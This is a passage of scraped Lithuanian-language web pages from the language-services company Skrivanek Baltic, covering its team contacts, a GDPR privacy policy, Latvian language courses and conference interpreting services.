kurti įtraukią ir įvairią darbo aplinką, kurioje klesti tiek komandos, tiek individai. Atsakomybė ir vertės kūrimas – mums rūpi jūsų pasisekimas ir esame įsipareigoję suteikti jūsų verslui vertę. Galite mumis pasitikėti dėl laiku atliktų, prie asmeninių poreikių pritaikytų ir nuoseklių kalbos technologijų sprendimų. MŪSŲ PRIVALUMAI patikima kokybėilgametė patirtisplatus paslaugų spektraskompetentingos kolegos iš septyniolikos šalių„Vieno sustojimo“ kalbų agentūranaujausių pramonės technologijų naudojimasdideli pajėgumai rengiant didelės apimties projektusoperatyvumas ir atsakomybėDažniausiai užduodami klausimai MŪSŲ DARBUOTOJAI IR TIEKĖJAI MŪSŲ KOMANDA Šiuo metu bendrovėje „Skrivanek Holding SE“ dirba daugiau kaip 360 nuolatinių darbuotojų. Kiekvienas iš jų moka bent vieną užsienio kalbą. Įmonėje dirba filologai, rašytojai, kompiuterių specialistai, ekonomistai ir analitikai. VERTĖJAI Visus vertimus atlieka tikslinės kalbos specialistai: jie gyvena šalyje, kurioje ta kalba vartojama. Daugelis vertėjų yra profesionalių vertėjų asociacijų nariai. Kiekvienam darbui vertėją parenkame iškart, kai tik gauname visą informaciją apie jo temą, todėl kiekvieną kartą galime pasirinkti tinkamiausią vertėją. TAISYTOJAI IR REDAKTORIAI Kiekvieną vertimą tikrina gimtakalbis korektorius ir redaktorius. Šie specialistai užtikrina, kad kalba skambėtų gerai ir kad darbe būtų vartojami tikslūs terminai. Karjera Vasilijs Ragačevičs Direktorius vasilijs@skrivanek. lv Ivars Treskovskis Vertimo projektų vadovas ivars@skrivanek. lv Aiga Matveja Mokymų centro vadovė macibas@skrivanek. lv Lelde Calmane Kokybės skyriaus vadovė lelde@skrivanek. lv Jānis Luns Rinkodaros vadovas janis. luns@skrivanek. lv Jeļena Lapoška Administracinio skyriaus vadovė jelena. laposka@skrivanek. lv Uldis Krūmiņš IT ir DAP uldis@skrivanek. lv Dana Laizāne Lokalizacijos ir dirbtinio intelekto projektų direktorius dana@skrivanek. lv KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Tarptautinių kalbų paslaugų teikėjo „Skrivanek Baltic“ privatumo politika. Bendrovės duomenų apsaugos specialistas Uldis Krūmiņš: dpo@skrivanek.lv. - Published: 2022-07-13 - Modified: 2022-07-15 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional Duomenų valdytojas rūpinasi Vartotojo privatumu ir asmens duomenų apsauga, gerbia Vartotojo teisę į teisėtą asmens duomenų tvarkymą pagal galiojančius teisės aktus: 2016 m. balandžio 27 d. Europos Parlamento ir Tarybos reglamentą Nr. 2016/679 dėl fizinių asmenų apsaugos tvarkant asmens duomenis ir dėl laisvo tokių duomenų judėjimo (toliau – Reglamentas) ir kitus galiojančius teisės aktus privatumo ir duomenų tvarkymo srityje. Atsižvelgdamas į tai, kas išdėstyta pirmiau, Valdytojas parengė šią privatumo politiką, kad pateiktų Reglamente reikalaujamą informaciją. 1. 1. Asmens duomenų tvarkymo duomenų valdytojas yra SIA „Skrivanek Baltic“, reg. Nr. 40003626172, registruotos buveinės adresas: Lāčplēša g. 87C, Ryga, LV-1011, telefonas: 80007272 (toliau – „Skrivanek“), interneto svetainės: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. „Skrivanek“ tvarko Klientų asmens duomenis Latvijos Respublikos ir Europos Sąjungos įstatymų ir kitų teisės aktų nustatyta ir leidžiama apimtimi ir būdu. Kiti „Skrivanek“ asmens duomenų tvarkytojai taip pat turi teisę gauti ir tvarkyti klientų duomenis. Norėdami gauti daugiau informacijos apie mūsų partnerius, susisiekite su „Skrivanek“ nurodytais kontaktiniais kanalais (žr. „Skrivanek“ Kontaktai skyrių www. skrivanek. lv). 3. 1. Reglamentas 3. 2. Asmens duomenų tvarkymo įstatymas 3. 3. Vaikų stovyklų organizavimo ir veiklos tvarka (Ministrų kabinetas, Nr. 981) 3. 4. Vaiko teisių apsaugos įstatymas 4. 1. Šioje privatumo politikoje (toliau – Politika) pateikiama informacija apie tai, kaip „Skrivanek“ renka, tvarko, dalijasi, trina ir saugo Klientų asmens duomenis. Taip užtikrinama, kad Klientų asmens duomenys tvarkomi teisėtai, sąžiningai ir skaidriai Klientams. Politika taikoma Klientų asmens duomenims, fizinių asmenų asmens duomenų tvarkymui ir Klientams teikiamoms paslaugoms. 4. 2. Jei „Skrivanek“ atnaujins šią politiką, visi pakeitimai bus paskelbti „Skrivanek“ interneto svetainėje www. skrivanek. lv, skiltyje „Apie mus“ – Privatumo politika“. 5. 1. „Skrivanek“ tvarkomų asmens duomenų kategorijos priklauso nuo Klientams teikiamų paslaugų. „Skrivanek“ turi teisę tvarkyti toliau nurodytų kategorijų asmens duomenis šios politikos 7 dalyje nurodytais tikslais: 5. 1. 1. vardas, pavardė, asmens kodas / gimimo data, adresas korespondencijai, telefono numeris ir el. pašto adresas; 5. 1. 2. banko duomenys; 5. 1. 3. tapatybės dokumento duomenys (dokumento numeris, išdavimo data ir vieta ir t. t. ); 5. 1. 4. duomenys, kuriuos Klientas pats perduoda „Skrivanek“; 5. 1. 5. vaizdo stebėjimo kamerų įrašai ir vaizdai; 5. 1. 6. informaciją apie vaikų stovyklų dalyvių sveikatą, kaip reikalaujama pagal įstatymus. 5. 2. „Skrivanek“ tvarko toliau nurodytus duomenis apie naudojimąsi Paslaugomis šios politikos 7 dalyje nurodytais tikslais: 5. 2. 1. slapukai (svetainės naršymo duomenys) – duomenys apie apsilankymus „Skrivanek“ interneto svetainėse (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv) (toliau – „Skrivanek“ interneto svetainės”). 6. 1. Kliento sutikimas – klientas, kaip asmens duomenų subjektas, pats duoda sutikimą rinkti ir tvarkyti asmens duomenis tam tikrais tikslais. Kliento sutikimas yra jo laisva valia ir nepriklausomas sprendimas, kurį jis gali duoti bet kuriuo metu, taip leisdamas bendrovei „Skrivanek“ tvarkyti asmens duomenis nurodytais tikslais. Kliento sutikimas yra privalomas Klientui, jei jis duodamas raštu (užpildant formą „Skrivanek“ biure, siunčiant elektroninį prašymą identifikuoti Klientą arba interneto svetainėse www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. Klientas turi teisę bet kuriuo metu atšaukti savo išankstinį sutikimą nurodytais kontaktiniais kanalais (žr. „Skrivanek“ svetainės www. skrivanek. lv skyrių Kontaktai). Pakeitimai, apie kuriuos pranešta, įsigalios per tris darbo dienas. Sutikimo atšaukimas neturi įtakos duomenų tvarkymo, pagrįsto sutikimu prieš atšaukimą, teisėtumui. 6. 2. Sutarties sudarymas ir vykdymas – norėdama sudaryti ir vykdyti sutartį su klientu, teikti kokybiškas paslaugas ir aptarnauti klientą, „Skrivanek“ turi rinkti ir tvarkyti tam tikrus asmens duomenis, kurie renkami prieš sudarant sutartį su „Skrivanek“ arba jau sudarytos sutarties vykdymo metu. 6. 3 Teisėti „Skrivanek“ interesai – atsižvelgdama į „Skrivanek“ interesus, kurie grindžiami kokybiškų paslaugų ir savalaikės pagalbos teikimu Klientui, „Skrivanek“ turi teisę tvarkyti Kliento asmens duomenis tiek, kiek tai objektyviai būtina ir pakanka šios Politikos 7. 1–7. 3 punktuose nurodytiems tikslams pasiekti. „Skrivanek“ teisėti interesai apima asmens duomenų tvarkymą vykdant tiesioginę rinkodarą, dėl kurios Klientui pateikiami nauji ir (arba) individualūs „Skrivanek“ paslaugų pasiūlymai (taip pat žr. šios politikos 8. 2 ir 8. 3 punktus). Atsižvelgiant į tai, kad „Skrivanek“ priklauso „SKRIVANEK Holding SE“ įmonių grupei (taip pat žr. šios Politikos 12. 4 punktą), ji turi teisėtą interesą tvarkyti savo Klientų duomenis perduodama juos kitoms grupės įmonėms vidaus administravimo tikslais, be kita ko, siekdama pasiūlyti Klientams paslaugas, atitinkančias šiuolaikinius reikalavimus „SKRIVANEK Holding SE“ grupės įmonių lygmeniu. 6. 4. Teisinių įsipareigojimų laikymasis – „Skrivanek“ turi teisę tvarkyti asmens duomenis, kad laikytųsi įstatymų ir kitų teisės aktų, taip pat atsakyti į teisėtus valstybės ir vietos valdžios institucijų prašymus. 6. 5 Gyvybiškai svarbių interesų apsauga – „Skrivanek“ turi teisę tvarkyti asmens duomenis, kad apsaugotų Kliento ar kito fizinio asmens gyvybiškai svarbius interesus, pvz. , kai vaizdo įrašo duomenys yra būtini nusikalstamų veikų prevencijai ir nustatymui. 7. 1. „Skrivanek“ tvarko asmens duomenis, kad užtikrintų kokybiškų paslaugų teikimą sutarties su „Skrivanek“ galiojimo laikotarpiu: 7. 1. 1. nagrinėti klientų skundus ir teikti pagalbą (įskaitant techninę pagalbą), susijusią su teikiamomis paslaugomis; 7. 1. 2. efektyviam pinigų srautų valdymui, įskaitant Klientų mokėjimų ir skolų administravimą; 7. 1. 3. informuoti klientus apie kitų „SKRIVANEK Holding SE“ grupės įmonių teikiamas paslaugas; 7. 1. 4. vaizdo stebėjimui saugumo tikslais. 7. 2 „Skrivanek“ tvarko asmens duomenis siekdama skatinti pramonės plėtrą ir siūlyti naujas paslaugas Klientams, įskaitant: 7. 2. 1. kurti ir siūlyti naujas paslaugas; 7. 2. 2. „Skrivanek“ klientų statistinių duomenų apdorojimas rinkos analizei ir verslo modelio kūrimui. 7. 3. „Skrivanek“ tvarko asmens duomenis, kad nustatytų ir palaikytų „Skrivanek“ vidaus procesus, užtikrintų dokumentų apyvartą ir kitus vidaus procesus (pvz. , sutarčių ir kitų dokumentų archyvavimą) tiek, kiek tai būtina ir pakanka šiam tikslui pasiekti. 7. 4. „Skrivanek“ turi teisę tvarkyti duomenis toliau nurodytais tikslais, taip pat kitais tikslais, jei Klientas laisva valia duoda aiškų sutikimą: 7. 4. 1. patikrinti Kliento asmens duomenis Kliento istorijos duomenų bazėse prieš sudarant sutartį, siekiant įvertinti Kliento gebėjimą vykdyti sutartyje numatytus įsipareigojimus, o sutarties galiojimo metu toks patikrinimas yra būtinas, siekiant pasiūlyti Klientui naujas ir pažangesnes paslaugas; 7. 4. 2. skatinti „Skrivanek“ įvaizdį rinkoje siunčiant gražius linkėjimus klientams, skiriant premijas, organizuojant apklausas esamoms paslaugoms gerinti ir kuriant naujas paslaugas. 8. 1. Kliento asmens duomenų profiliavimas kaip duomenų tvarkymas: 8. 1. 1. profiliavimas – tai bet kokios formos automatizuotas asmens duomenų tvarkymas, kai asmens duomenys naudojami siekiant įvertinti tam tikrus su asmeniu susijusius asmeninius veiksnius, visų pirma analizuoti ar prognozuoti veiksnius, susijusius su to asmens asmeniniais pageidavimais, interesais, patikimumu, elgesiu, vieta ar judėjimu; 8. 1. 2. tvarkydama Kliento asmens duomenis „Skrivanek“ gali vykdyti profiliavimą, kad galėtų kurti ir teikti individualius pasiūlymus. Automatizuoti individualūs sprendimai priimami tik verslo tikslais ir neturi teisinių pasekmių Klientui. Klientas turi teisę bet kuriuo metu nesutikti su automatizuotu sprendimu ir nebūti tokio sprendimo subjektu, apie tai informuodamas „Skrivanek“ (taip pat žr. šios Politikos 8. 3 punkto nuostatas). 8. 2. Tiesioginė rinkodara ir komercinių pranešimų siuntimo Klientams pagrindas: „Skrivanek“ vykdo tiesioginę rinkodarą siųsdama komercinius pranešimus Klientams, kad informuotų Klientus apie naujas ir (arba) tiesiogiai Klientams sukurtas paslaugas, taip pat apie specialias sutarties sąlygas (pvz. , nuolaidas), vadovaudamasi šios Politikos 6. 3 skirsnyje nustatytu asmens duomenų tvarkymo pagrindu. Klientai turi teisę bet kuriuo metu nemokamai atsisakyti komercinių pranešimų gavimo, apie tai informuodami „Skrivanek“ (taip pat žr. šios politikos 8. 3 punkto nuostatas). 8. 3. Klientai turi teisę bet kuriuo metu nesutikti, kad jų asmens duomenys būtų profiliuojami (žr. 8. 1 punktą) arba atsisakyti gauti komercinius pranešimus (žr. 8. 2 punktą), apie tai informuodami „Skrivanek“ žodžiu (telefoninio pokalbio metu, kai Klientas buvo identifikuotas, paskambinus telefonu 80007272) arba raštu (užpildžius formą „Skrivanek“ biure, atsiuntus elektroninį prašymą adresu birojs@skrivanek. lv arba apsilankę „Skrivanek“ biure. Pakeitimai, apie kuriuos pranešta, įsigalios per tris darbo dienas. Pakeitimai neturės įtakos asmens duomenų tvarkymo iki Kliento prieštaravimo ir (arba) atsisakymo teisėtumui, kaip nurodyta šiame punkte. 9. 1. Slapukai – tai nedideli duomenų failai, svarbūs tam tikroms svetainės funkcijoms (pvz. , prisijungimui) atlikti. Slapukai leidžia svetainėms įsiminti įvairius nustatymus, pvz. , kalbą, šriftą ir kitas parinktis, kurias pasirinkote rodydami tinklalapius. Būtent todėl slapukai saugomi jūsų kompiuteryje. Taip veikia dauguma pagrindinių svetainių ir paslaugų teikėjų. 9. 2. Slapukai naudojami bendriems naudotojų įpročiams ir svetainės naudojimo istorijai apdoroti, svetainės problemoms ir trūkumams diagnozuoti, statistiniams duomenims apie naudotojų įpročius rinkti ir užtikrinti visapusišką ir patogų naudojimąsi svetainės funkcijomis. 9. 3. Galite ištrinti visus slapukus, kurie jau yra jūsų kompiuteryje. Daugumoje naršyklių taip pat yra galimybė blokuoti slapukų įrašymą į jūsų kompiuterį, tačiau tokiu atveju negalėsite naudotis visomis mūsų internetinėmis paslaugomis. Daugiau informacijos apie slapukų nustatymus savo naršyklėje rasite interneto naršyklės kūrėjo svetainėje. „Skrivanek“ prižiūrimose svetainėse naudojami funkciniai, analitiniai, reklaminiai ir privalomieji slapukai. Daugiau informacijos apie slapukus rasite „Skrivanek“ svetainės www. skrivanek. lv skyriuje „Pranešimas apie slapukus“. 10. 1. „Skrivanek“ gauna Klientų asmens duomenis, kai Klientai: 10. 1. 1. perka „Skrivanek“ paslaugas („Skrivanek“ biuruose arba nuotoliniu būdu iš anksto identifikavus klientą); 10. 1. 2. užsiregistruoja, kad gautu naujienlaiškius, pranešimus ar kitas „Skrivanek“ paslaugas; 10. 1. 3. prašo „Skrivanek“ daugiau informacijos apie Paslaugą arba susisiekti su „Skrivanek“ dėl skundo ar prašymo pateikti Klientą identifikuojančią informaciją; 10. 1. 4. dalyvauti konkursuose, loterijose ar apklausose; 10. 1. 5. apsilankykite „Skrivanek“ svetainėse arba jose naršykite; 10. 1. 6. nufilmuotas „Skrivanek“ vaizdo stebėjimo įranga „Skrivanek“ patalpose. 10. 2. „Skrivanek“ gali tvarkyti Kliento asmens duomenis, gautus iš trečiųjų šalių, jei Klientas su tuo sutinka (pvz. , skolų istorijos duomenų bazių turėtojai ir pan. ). 10. 3. „Skrivanek“ gali tvarkyti kitų bendrovių, „SKRIVANEK Holding SE“ grupės įmonių ir įmonių partnerių asmens duomenis apie Klientą (žr. šios Politikos 12 punkto nuostatas). 11. 1. „Skrivanek“ tvarkys Kliento asmens duomenis tol, kol egzistuos bent viena iš toliau nurodytų aplinkybių: 11. 1. 1. Kliento ir „Skrivanek“ sutartis galioja; 11. 1. 2. asmens duomenų saugojimo laikotarpis yra nustatytas Latvijos Respublikos ir Europos Sąjungos įstatymuose ir kituose teisės aktuose arba pagal juos; 11. 1. 3. tai būtina siekiant įgyvendinti ir apsaugoti teisėtus „Skrivanek“ interesus; 11. 1. 4. Kliento sutikimas tvarkyti asmens duomenis nebuvo atšauktas. Kliento asmens duomenys ištrinami ne vėliau kaip per tris mėnesius po to, kai išnyksta pirminė duomenų saugojimo priežastis, išskyrus atvejus, kai esame teisiškai įpareigoti toliau saugoti duomenis (pavyzdžiui, apskaitos ar bylinėjimosi tikslais). 12. 1. Siekdama teikti paslaugas Klientams, „Skrivanek“ gali dalytis Klientų asmens duomenimis su: 12. 1. 1. „SKRIVANEK Holding SE“ grupės įmonėmis; 12. 1. 2. partneriais ar institucijomis, dalyvaujančiomis teikiant Klientų užsakytas ar naudojamas paslaugas; 12. 1. 3. skolų išieškojimo bendrovėmis, kredito informacijos biurais, skolų istorijos duomenų bazių turėtojais ar kitomis skolų išieškojimo organizacijomis; 12. 1. 4. reikalavimo perėmėjais - siekdama užtikrinti veiksmingą pinigų srautų valdymą, „Skrivanek“ turi teisę perleisti savo reikalavimą į skolininką ar skolininkus. 12. 2. „Skrivanek“ privalo teikti informaciją apie asmens duomenis šioms institucijoms ir tarnyboms: 12. 2. 1. teisėsaugos institucijoms, teismams ar kitoms valstybės ir vietos valdžios institucijoms, jei tai numatyta įstatymuose, kituose teisės aktuose ar atitinkamos institucijos prašyme pateikti informaciją; 12. 3. „Skrivanek“ teiks Klientų asmens duomenis tik tiek, kiek būtina ir pakanka pagal įstatymų ir kitų teisės aktų reikalavimus ir objektyvias konkrečios situacijos aplinkybes. 12. 4. „Skrivanek“ pasilieka teisę perduoti Klientų asmens duomenis kitoms „SKRIVANEK Holding SE“ grupei priklausančioms įmonėms ar paslaugų teikėjams, jei reikia, kad Klientams būtų teikiamos geresnės ir kokybiškesnės paslaugos. Norėdami gauti informacijos apie „SKRIVANEK Holding SE“ grupės įmones, skolų išieškojimo agentūras, kredito informacijos biurus, skolų istorijos duomenų bazių turėtojus ar kitas skolų išieškojimo organizacijas, teisių perėmėjus, kreipkitės į „Skrivanek“ nurodytais kontaktiniais kanalais (žr. „Skrivanek“ svetainės www. skrivanek. lv skyrių Kontaktai). 13. 1 „Skrivanek“ užtikrina, nuolat peržiūri ir tobulina saugumo priemones, kad apsaugotų Kliento asmens duomenis nuo neteisėtos prieigos, atsitiktinio praradimo, atskleidimo ar sunaikinimo. Kad tai užtikrintų, „Skrivanek“ taiko naujausias technologijas, techninius ir organizacinius reikalavimus, įskaitant ugniasienių, įsilaužimo aptikimo, analizės programinės įrangos ir duomenų šifravimo naudojimą. 13. 2. „Skrivanek“ kruopščiai tikrina visus paslaugų teikėjus, kurie tvarko Kliento asmens duomenis „Skrivanek“ vardu ir naudai, taip pat vertina, ar partneriai (asmens duomenų tvarkytojai) taiko tinkamas saugumo priemones, kad užtikrintų, jog Kliento asmens duomenys būtų tvarkomi laikantis „Skrivanek“ įgaliojimų ir norminių teisės aktų reikalavimų. Filialams neleidžiama tvarkyti Kliento asmens duomenų savo tikslais. 13. 3. „Skrivanek“ neatsako už bet kokią neteisėtą prieigą prie asmens duomenų ir (arba) jų praradimą, jei tai nepriklauso nuo „Skrivanek“, pavyzdžiui, dėl Kliento kaltės ir (arba) aplaidumo. 13. 4. Kliento asmens duomenų kompromitavimo atveju „Skrivanek“ informuos Klientą. 14. 1. Susisiekite su „Skrivanek“, kad gautumėte „Skrivanek“ turimų asmens duomenų kopiją. 14. 2. Ištaisyti bet kokius „Skrivanek“ turimus asmens duomenis apie save, prašydami juos pakeisti, siųsdami elektroniniu parašu pasirašytą el. laišką adresu birojs@skrivanek. lv, skambindami telefonu 80007272 arba atvykę į „Skrivanek“ biurą. 14. 3. Klientai turi teisę gauti informaciją apie tuos fizinius ar juridinius asmenis, kurie per tam tikrą laikotarpį gavo informaciją apie juos iš „Skrivanek“. „Skrivanek“ neteiks Klientams informacijos apie valdžios institucijas, kurios yra baudžiamųjų bylų iniciatoriai, operatyvinės veiklos subjektai ar kitos institucijos, apie kurias įstatymai draudžia atskleisti tokią informaciją. 14. 4. Prašyti ištrinti arba apriboti asmens duomenų, kurių tvarkymas nebėra būtinas tais tikslais, kuriais jie buvo surinkti ir tvarkomi, tvarkymą („teisė būti pamirštam“). 14. 5. Kreipkitės į „Skrivanek“ arba asmens duomenų tvarkymo priežiūros instituciją (Valstybinę duomenų inspekciją, www. dvi. gov. lv), jei turite klausimų dėl asmens duomenų tvarkymo. 14. 6. Kreipkitės į „Skrivanek“ duomenų apsaugos pareigūną dėl informacijos apie jūsų asmens duomenų tvarkymą ir apsaugą. 14. 7. Per vieną mėnesį nuo prašymo pateikimo dienos gauti prieigą prie savo asmens duomenų. Prašymą pasinaudoti savo teisėmis Klientas gali pateikti raštu asmeniškai, Administratoriaus registruotoje buveinėje (pateikęs asmens tapatybę patvirtinantį dokumentą) arba elektroniniu paštu, pasirašytą saugiu elektroniniu parašu. Gavęs Kliento prašymą pasinaudoti savo teisėmis, Valdytojas patikrina Kliento tapatybę, įvertina prašymą ir jį įvykdo pagal įstatymus ir kitus teisės aktus. 15. 1. Siekdami užtikrinti aukštą klientų aptarnavimo kokybę, taip pat organizuojame vertimo žodžiu ir kalbų mokymo paslaugas debesijos vaizdo ir balso komunikacijos platformose „Zoom“ arba „Microsoft Teams“. 15. 2. Dabartinę „Zoom“ privatumo politiką galima rasti čia –https://zoom. us/privacy, o „Microsoft Teams“ privatumo politiką galima rasti čia – https://www. microsoft. com/en-us/microsoft-365/blog/2020 / 04/06 / microsofts-commitment-privacy-security-microsoft-teams /. Šių platformų kūrėjai savo privatumo politikoje patvirtino, kad jie laikosi Reglamente ir kituose teisės aktuose nustatytų pagrindinių asmens duomenų tvarkymo principų, taip užtikrindami Reglamento laikymąsi. Pranešimas apie slapukus „SKRIVANEK“ DUOMENŲ APSAUGOS SPECIALISTAS Uldis Krūmiņš dpo@skrivanek. lv --- > Latvių kalbos mokymai privatiems asmenims ir įmonėms. Mokykitės latvių kalbos asmeniškai arba internetu. Profesionalūs mokytojai. Efektyvus mokymosi metodas. - Published: 2022-07-13 - Modified: 2022-07-13 - URL: https://skrivanek.lv/lt/sprendimai/kalbos-mokymai/ismokite-latviu-kalbos/ - Translation Priorities: Optional Whether you are an expat, need Latvian for work, or would just like to improve your language skills, Skrivanek will offer you the Latvian language course that best suits your needs - be it individual face-to-face or online sessions, an open group class (currently limited offer), or group classes for your company. Skrivanek also offers English classes for children and youth – with today’s technologies, it doesn’t matter if you live in the US, Australia, the UK, or just around the corner! Send an email to valoduskola@skrivanek. lv or call us on +371 29 337 892, and we will find the solution that works best for you. „Skrivanek Baltic Training Centre“ yra mokymo centras, turintis daugiau nei dešimties metų patirtį teikiant kalbų mokymo sprendimus visiems. Siūlome kalbų mokymo kursus įmonėms ir privatiems asmenims, suaugusiesiems ir vaikams, o latvių kalbos kursai yra vienas iš geriausių mūsų siūlomų kursų. Jei ketinate mokytis latvių kalbos, kreipkitės dėl latvių kalbos kursų! Latvių kalbos pamokas gausiai lanko užsienio piliečiai, dirbantys Rygoje arba nuotoliniu būdu iš kitų šalių Latvijos įmonėse, taip pat keliautojai, besidomintys šios Baltijos jūros pakrantėje esančios šalies kalba ir kultūra. Taip pat mielai padedame vaikams ir paaugliams iš užsienyje dirbančių ir gyvenančių šeimų mokytis latvių kalbos mūsų vasaros stovyklose, kai jie atvyksta vasaros atostogų į Latviją. INTERNETINĖS LATVIŲ KALBOS PAMOKOS Latvių kalbos internetinis kursas per „Zoom“, „MS Teams“ ar bet kurią kitą internetinių susitikimų platformą yra mūsų geriausias internetinis kursas nuo tada, kai pasaulis perėjo prie nuotolinio darbo. Mūsų ilgametė patirtis rodo, kad mokytis latvių kalbos internetu yra patogu ir veiksminga – galite mokytis latvių kalbos iš bet kurios pasaulio vietos, o užsiėmimus su mūsų mokytojais galite organizuoti internetu per „Zoom“ arba „MS Teams“. Pamokos internetu suteikia daugybę privalumų norint efektyviai mokytis latvių kalbos – galite praktikuoti gramatiką, mokytis žodyno, lavinti rašymo, klausymo ir kalbėjimo įgūdžius, reikalingus socialiniam ar verslo bendravimui individualiuose užsiėmimuose arba grupiniuose mokymuose. Jei norite sužinoti daugiau apie latvių kalbos pamokas „Zoom“ ar kitose internetinėse platformose, susisiekite su mumis ir mes jums patarsime, kokie sprendimai geriausiai atitinka jūsų poreikius. LATVIŲ KALBOS KURSAI ĮMONĖJE „Skrivanek Baltic Training Centre“ komanda turi patirties siūlyti lanksčius sprendimus besimokantiems latvių kalbos iš viso pasaulio. Įmonėms siūlome grupinius mokymus studentų miestelyje ir už jo ribų, kad jos galėtų mokyti savo darbuotojus verslo latvių kalbos darbui. Rytinius, dieninius ir vakarinius užsiėmimus organizuojame savo biure. Jei pageidaujate savo kabineto, mūsų mokytojai gali surengti kursus latvių kalba pagal jūsų pageidaujamą laiką ir vietą. GRUPĖS KLASĖS Asmenys gali prisijungti prie mūsų užsiėmimų mūsų mokyklos patalpose. Mokymosi grupėse privalumas yra tas, kad mokiniai mokosi interaktyviai, praktikuoja latvių kalbą su grupės nariais, imituodami realaus gyvenimo situacijas vaidmenų žaidimuose, dialoguose ir mokosi pritaikyti skirtingus bendravimo stilius. INDIVIDUALŪS UŽSIĖMIMAI Individualūs užsiėmimai yra geriausias sprendimas tiems, kurie turi savų poreikių mokytis latvių kalbos ir nori, kad korepetitorius padėtų mokytis juos dominančių kalbos dalykų. Besimokantiems ar keliaujantiems asmenims, kuriuos domina latvių kalbos kursai, ši galimybė bus naudinga. Jei ketinate mokytis latvių kalbos individualiai su gimtakalbiu korepetitoriumi, galite tai daryti internetu per „Zoom“, „MS Teams“ ar bet kurią kitą pageidaujamą internetinių susitikimų platformą. Kreipkitės dėl individualios pamokos internetu („Zoom“, „MS Teams“) dabar! LATVIŲ KALBA VAIKAMS Užsienyje gyvenančių ir dirbančių šeimų vaikai ir paaugliai taip pat gali mokytis latvių kalbos nuotoliniu būdu. „Skrivanek Baltic Training Centre“ ves individualias latvių kalbos pamokas internetu per „Zoom“ arba „MS Teams“ su įtraukiančiomis užduotimis, kurios padės vaikams ir paaugliams mokytis latvių kalbos žodyno ir tobulinti gramatiką kalbant ir rašant. Šeimoms, planuojančioms vasaros atostogas, „Skrivanek Baltijos“ šalių vaikų ir paauglių vasaros stovyklos latvių kalba taip pat gali būti naudingas sprendimas, kaip jūsų vaikams įdomiai ir prasmingai praleisti vasaros atostogas. „Skrivanek Baltic“ mokytojų komanda pasirūpins jūsų vaikais vasaros atostogų Latvijoje metu, įtraukdama juos į užsiėmimus ir žaidimus klasėje, kad jie geriau mokėtų kalbėti ir rašyti latviškai. Daugeliui šeimų su vaikais padėjome patobulinti latvių kalbos žinias, todėl kviečiame ir jūsų vaikus dalyvauti mūsų vasaros stovyklose arba individualiose pamokose! Daugiau informacijos apie vasaros stovyklas rasite čia! Keliautojai, planuojantys kelionę į Rygą, taip pat gali pabandyti mokytis latvių kalbos „Skrivanek Baltijos“ mokymo centre, kad sužinotų daugiau apie vietos kultūrą ir galėtų bendrauti su vietos gyventojais. Prieš kelionę kiekvienas gali patikrinti mūsų internetinį žodyną su naudingais žodžiais ir frazėmis ir išmokti pagrindinius latvių kalbos posakius bendravimo, verslo ir kelionių atvejais! Nesvarbu, ar tai būtų mokyklos, ar kelionės, ar verslo tikslais, „Skrivanek Baltic Training Centre“ komanda visada pasiruošusi suteikti klientams tai, ko jiems reikia latvių kalbos įgūdžiams tobulinti. Pasirinkite geriausią latvių kalbos mokymosi būdą, susisiekitesu „Skrivanek Baltic Training Centre“ komanda ir mes suteiksime jums reikiamą latvių kalbos mokymo paslaugą! --- > Profesionalus vertimas žodžiu – tai raktas į jūsų konferencijos produktyvumą! Vertimas žodžiu konferencijose ir organizavimas. Daugiau nei 25 metų patirtis. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2022-08-10 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional Vertimas žodžiu konferencijose susijęs tik su žodiniu bendravimu: natūraliai ir sklandžiai išversti kalbėtojo žodžius iš vienos kalbos į kitą, pritaikyti vertimą ir perteikti kitam asmeniui kalbėtojo intonaciją bei pasitikėjimą savimi. Tarptautinėse konferencijose dalyvauja žmonės iš skirtingų kultūrų, mokantys skirtingas kalbas ir kalbantys skirtingais kalbos lygiais. Vertėjo darbas – sudaryti sąlygas žmonėms bendrauti ne verčiant kiekvieną jų pasakytą žodį, bet verčiant jų išsakytas mintis. SRITYS, KURIOSE DAŽNIAUSIAI TEIKIAMI KONFERENCIJŲ VERTIMAI: mokesčiai ir šešėlinė ekonomika; ES politika ir tarpvalstybinis bendradarbiavimas; statyba; finansai ir bankininkystė; informacinės technologijos; jurisprudencija; žemės ūkis; medicina; farmacija; klinikiniai tyrimai; nekilnojamasis turtas; telekomunikacijos ir kt. SIŪLOME ŠIAS GALIMYBES: profesionalūs sinchroninio vertimo vertėjai žodžiu, turintys atitinkamas kalbos žinias, kurie kiekvienas dirba mainomis po 30 minučių; įranga, t. y. vertimo kabinos, ausinės, siųstuvai ir techninė pagalba; pagalba ir konsultacijos kiekvienam renginio planavimo žingsnyje, konferencijų medžiagos ir kvietimų maketavimas (DTP) ir spausdinimas; konferencijų įrangos įrengimas, viešbučių rezervacija ir svečių išlaikymas; maitinimas banketuose; ekskursijos mieste ir t. t. ; profesionalios konferencijų, simpoziumų, kongresų ir mokymų organizavimo konsultacijos. KALBŲ POROS, KURIOMIS DAŽNIAUSIAI VERČIAME KONFERENCIJOSE: latvių–anglų–latvių; estų–anglų–estų; lietuvių–anglų–lietuvių; rusų–anglų–rusų; švedų–latvių–švedų, ispanų–latvių–ispanų, italų–latvių–italų, rusų–latvių–rusų ir kt. REIKALINGAS VERTIMAS ŽODŽIU AR KONSULTACIJA? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, 